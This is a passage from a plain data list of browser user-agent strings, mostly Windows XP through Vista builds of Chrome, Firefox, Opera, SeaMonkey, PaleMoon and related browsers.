(Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.1  Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) MxBrowser/4.5.10.7000 Chrome/30.0.1551.0 Safari/537.36\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1250.0 Iron/22.0.2150.0 Safari/537.4\nMozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0\nMozilla/5.0 (Windows NT 5.1; U) Opera 7.03  [de]\nMozilla/5.0 (Windows NT 5.1; U) Opera 7.11  [en]\nMozilla/5.0 (Windows NT 5.1; U) Opera 7.54  [de]\nMozilla/5.0 (Windows NT 5.1; U;  ; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52\nMozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53\nMozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53\nMozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53\nMozilla/5.0 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.25\nMozilla/5.0 (Windows NT 5.1; U; Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.6) ; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63\nMozilla/5.0 (Windows NT 5.1; U; Mozilla; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\nMozilla/5.0 (Windows NT 5.1; U; de) Opera 8.50\nMozilla/5.0 (Windows NT 5.1; U; de) Opera 8.52\nMozilla/5.0 (Windows NT 5.1; U; de) Opera 9.01\nMozilla/5.0 (Windows NT 5.1; U; de) Opera 9.02\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.7.5) Gecko/20041110\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.62\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.0\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.51\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.52\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 8.53\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 9.00\nMozilla/5.0 (Windows NT 5.1; U; en) Opera 9.01\nMozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51\nMozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61\nMozilla/5.0 (Windows NT 5.1; U; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.7.5) Gecko/20041110\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51\nMozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11\nMozilla/5.0 (Windows NT 5.1; U; es-es) Opera 9.00\nMozilla/5.0 (Windows NT 5.1; U; es-es; rv:1.7.5) Gecko/20041110\nMozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27\nMozilla/5.0 (Windows NT 5.1; U; fi; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows NT 5.1; U; firefox 5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\nMozilla/5.0 (Windows NT 5.1; U; fr) Opera 8.51\nMozilla/5.0 (Windows NT 5.1; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\nMozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54\nMozilla/5.0 (Windows NT 5.1; U; pl; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.20\nMozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00\nMozilla/5.0 (Windows NT 5.1; U; pt-br) Opera 9.02\nMozilla/5.0 (Windows NT 5.1; U; pt-br; rv:1.7.5) Gecko/20041110\nMozilla/5.0 (Windows NT 5.1; U; pt-br; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.21\nMozilla/5.0 (Windows NT 5.1; U; pt; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows NT 5.1; U; ru) Opera 8.51\nMozilla/5.0 (Windows NT 5.1; U; ru; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00\nMozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.0) Gecko/20080212 Firefox/2.0.0.12\nMozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50\nMozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5\nMozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53\nMozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70\nMozilla/5.0 (Windows NT 5.1; U; zh-tw) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Windows NT 5.1; U; zh-tw; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows NT 5.1; en-US; rv:1.7.12) Gecko/20051002\nMozilla/5.0 (Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0\nMozilla/5.0 (Windows NT 5.1; rv:1.8.1.1)  Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows NT 5.1; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\nMozilla/5.0 (Windows NT 5.1; rv:1.9.2.8) Gecko/20110608 Firefox/3.6.8 Seamonkey/2.1\nMozilla/5.0 (Windows NT 5.1; rv:1.9a1)  Gecko/20060217 Firefox/1.6a1\nMozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0\nMozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20120312 Thunderbird/11.0\nMozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0\nMozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120605 Firefox/12.2 Palemoon/12.2\nMozilla/5.0 (Windows NT 5.1; rv:12.2) Gecko/20120605 Firefox/12.2 PaleMoon/12.2\nMozilla/5.0 (Windows NT 5.1; rv:12.2.1) Gecko/20120616 Firefox/12.2.1 PaleMoon/12.2.1\nMozilla/5.0 (Windows NT 5.1; rv:12.2.1) Gecko/20120616 PaleMoon/12.2.1\nMozilla/5.0 (Windows NT 5.1; rv:12.3) Gecko/20120714 Firefox/12.3 PaleMoon/12.3\nMozilla/5.0 (Windows NT 5.1; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3\nMozilla/5.0 (Windows NT 5.1; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2\nMozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20120615 Firefox/13.0.1 SeaMonkey/2.10.1\nMozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20120615 Firefox/13.0.1 SeaMonkey/2.10.1 Lightning/1.5.1\nMozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120405 Firefox/14.0a1\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/13.0.1\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120824 Thunderbird/15.0\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120909 SeaMonkey/2.12.1\nMozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20120911 Firefox/15.1 PaleMoon/15.1\nMozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20121007 Firefox/16.0 SeaMonkey/2.13\nMozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20121007 SeaMonkey/2.13\nMozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 Lightning/1.9.1\nMozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20110511 Firefox/4.0.1 SeaMonkey/2.1\nMozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1\nMozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1 Lightning/1.0b4pre\nMozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre\nMozilla/5.0 (Windows NT 5.1; rv:2.0b6pre) Gecko/20100902 Firefox/4.0b6pre Fennec/2.0b1pre\nMozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre\nMozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre\nMozilla/5.0 (Windows NT 5.1; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Windows NT 5.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0\nMozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0\nMozilla/5.0 (Windows NT 5.1; rv:26.0) Gecko/20100101 Firefox/26.0 SeaMonkey/2.23a1\nMozilla/5.0 (Windows NT 5.1; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25 Lightning/3.0b1\nMozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0\nMozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0 SeaMonkey/2.3\nMozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35\nMozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20110624 Thunderbird/5.0\nMozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6\nMozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20110812 Thunderbird/6.0 Lightning/1.0b5\nMozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1\nMozilla/5.0 (Windows NT 5.1; rv:7.0a1) Gecko/20110612 Firefox/7.0a1 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.1; rv:7.0a1) Gecko/20110619 Firefox/7.0a1 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.1; rv:8.0; en_us) Gecko/20100101 Firefox/8.0\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5\nMozilla/5.0 (Windows NT 5.2) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 5.2; RW; rv:7.0a1)   Gecko/20091211 SeaMonkey/9.23a1pre\nMozilla/5.0 (Windows NT 5.2; RW; rv:7.0a1) Gecko/20091211 SeaMonkey/9.23a1pre\nMozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27\nMozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70\nMozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7\nMozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1\nMozilla/5.0 (Windows NT 5.2; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110317 SeaMonkey/2.1b3pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b5pre) Gecko/20100830 SeaMonkey/2.1b1pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b7pre) Gecko/20100915 Firefox/4.0b7pre SeaMonkey/2.1b1pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b8pre) Gecko/20101014 SeaMonkey/2.1b2pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b8pre) Gecko/20101028 SeaMonkey/2.1b2pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b9pre) Gecko/20101231 SeaMonkey/2.1b2pre\nMozilla/5.0 (Windows NT 5.2; rv:2.0b9pre) Gecko/20110110 SeaMonkey/2.1b2pre\nMozilla/5.0 (Windows NT 5.2; rv:2.2a1pre) Gecko/20110327 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17\nMozilla/5.0 (Windows NT 5.2; rv:6.0a1) Gecko/20110512 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110524 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110525 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110526 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110527 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110529 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110530 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110601 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110602 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110603 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110605 SeaMonkey/2.2a1pre\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110607 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110610 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110613 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110614 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110616 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110618 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110619 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110621 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 5.2; rv:7.0a1) Gecko/20110622 SeaMonkey/2.4a1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.1 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.1 Chrome/17.0.1000.1 Safari/535.11\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Iron/15.0.900.1 Chrome/15.0.900.1 Safari/535.2\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\nMozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221\nMozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00\nMozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51\nMozilla/5.0 (Windows NT 6.0; U; hu; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6\nMozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00\nMozilla/5.0 (Windows NT 6.0; U; sv; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7\nMozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:12.2) Gecko/20120605 Firefox/12.2 PaleMoon/12.2\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0\nMozilla/5.0 (Windows NT 6.0; rv:11.0) Gecko/20120319 Firefox/11.0 PaleMoon/11.0\nMozilla/5.0 (Windows NT 6.0; rv:12.0) Gecko/20120424 Firefox/12.0 PaleMoon/12.0\nMozilla/5.0 (Windows NT 6.0; rv:12.3) Gecko/20120717 Firefox/12.3 PaleMoon/12.3\nMozilla/5.0 (Windows NT 6.0; rv:12.3) Gecko/20120728 Firefox/12.3r2 PaleMoon/12.3r2\nMozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1\nMozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120819 Firefox/15.0 PaleMoon/15.0\nMozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120909 Firefox/15.0.1 SeaMonkey/2.12.1\nMozilla/5.0 (Windows NT 6.0; rv:17.0) Gecko/20130620 Thunderbird/17.0.7\nMozilla/5.0 (Windows NT 6.0; rv:19.0) Gecko/20100101 Firefox/19.0 SeaMonkey/2.16.1\nMozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14\nMozilla/5.0 (Windows NT 6.0; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1\nMozilla/5.0 (Windows NT 6.0; rv:36.0) Gecko/20100101 Firefox/36.0 SeaMonkey/2.33.1\nMozilla/5.0 (Windows NT 6.1) 